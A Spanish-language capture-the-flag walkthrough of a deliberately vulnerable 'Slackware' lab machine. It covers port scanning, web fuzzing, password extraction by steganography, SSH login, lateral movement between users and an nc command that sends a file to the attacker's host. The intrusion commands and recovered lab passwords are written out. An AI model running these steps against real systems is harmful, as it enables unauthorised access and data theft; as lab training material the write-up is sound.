Enumeramos puertos (servicios en puertos 1 y 2):
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.63.247
❯ nmap -sCV -p1,2 192.168.63.247
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-03 19:15 -04
Nmap scan report for 192.168.63.247
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
1/tcp open ssh OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey:
| 256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_ 256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open http Apache httpd 2.4.58 ((Unix))
|_http-title: Tribute to Slackware
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.58 (Unix)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 secondsEnumeramos la web; el robots.txt esconde una extensión (7z.001):
❯ gobuster dir -u 'http://192.168.63.247:2' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png -r
...
/getslack (Status: 200) [Size: 12]
❯ cat robots.txt
User-agent: *
#7z.001Volvemos a fuzzear /getslack con esa extensión y encontramos partes de un 7z:
❯ gobuster dir -u 'http://192.168.63.247:2/getslack' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,7z.001 -r
...
/twitter.7z.001 (Status: 200) [Size: 20480]
...Descargamos todas las partes con un script (resultan ser 14):
❯ cat download.sh
for i in {1..100}
do
if [ $i -lt 10 ]; then
url="http://192.168.63.247:2/getslack/twitter.7z.00$i"
wget $url
elif [ $i -ge 10 ] && [ $i -lt 100 ]; then
url="http://192.168.63.247:2/getslack/twitter.7z.0$i"
wget $url
else
url="http://192.168.63.247:2/getslack/twitter.7z.$i"
wget $url
fi
doneEl 7z contiene una imagen PNG de Patrick Volkerding; con zsteg extraemos una contraseña:
❯ zsteg twitter.png
...
extradata:0 .. text: "trYth1sPasS1993"
...Iniciamos sesión por SSH (puerto 1) como patrick:
❯ ssh patrick@192.168.63.247 -p 1
(patrick@192.168.63.247) Password:
Linux 5.15.145.
patrick@slackware:~$Hay muchos usuarios; cada home contiene un mypass.txt legible por el usuario "siguiente" en la cadena, así que vamos saltando de usuario en usuario:
patrick@slackware:/home$ ls | xargs ls -l 2>/dev/null
claor/:
-rw-r----- 1 claor kretinga 13 Mar 10 22:15 mypass.txt
kretinga/:
-rw-r----- 1 kretinga patrick 13 Mar 10 22:15 mypass.txtclaor@slackware:/home$ ls | xargs ls -l 2>/dev/null
alienum/:
-rw-r----- 1 alienum claor 13 Mar 10 22:15 mypass.txt
mrmidnight/:
-rw-r----- 1 mrmidnight alienum 13 Mar 10 22:15 mypass.txt
...En el home de rpj7 encontramos la flag de usuario y un mensaje oculto en whitespaces. Lo transferimos a nuestra máquina y lo decodificamos con stegsnow:
❯ nc -lvp 4444 > snow_user.txt
rpj7@slackware:~$ nc -w 3 192.168.63.50 4444 < user.txt
❯ stegsnow -C snow_user.txt
To_Jest_Bardzo_Trudne_HasloEsa es la contraseña de root:
rpj7@slackware:~$ su root
Password: To_Jest_Bardzo_Trudne_Haslo
root@slackware:~# cat roo00oot.txt
There is no root flag here, but it is somewhere in the /home directory.La flag de root está escondida en un .screenrc dentro de /home:
root@slackware:~# find /home -name "*" | xargs grep flag 2>/dev/null
/home/0xh3rshel/.screenrc:# Here is a flag for root: [redacted]Obtenemos nuestra flag.
Fin.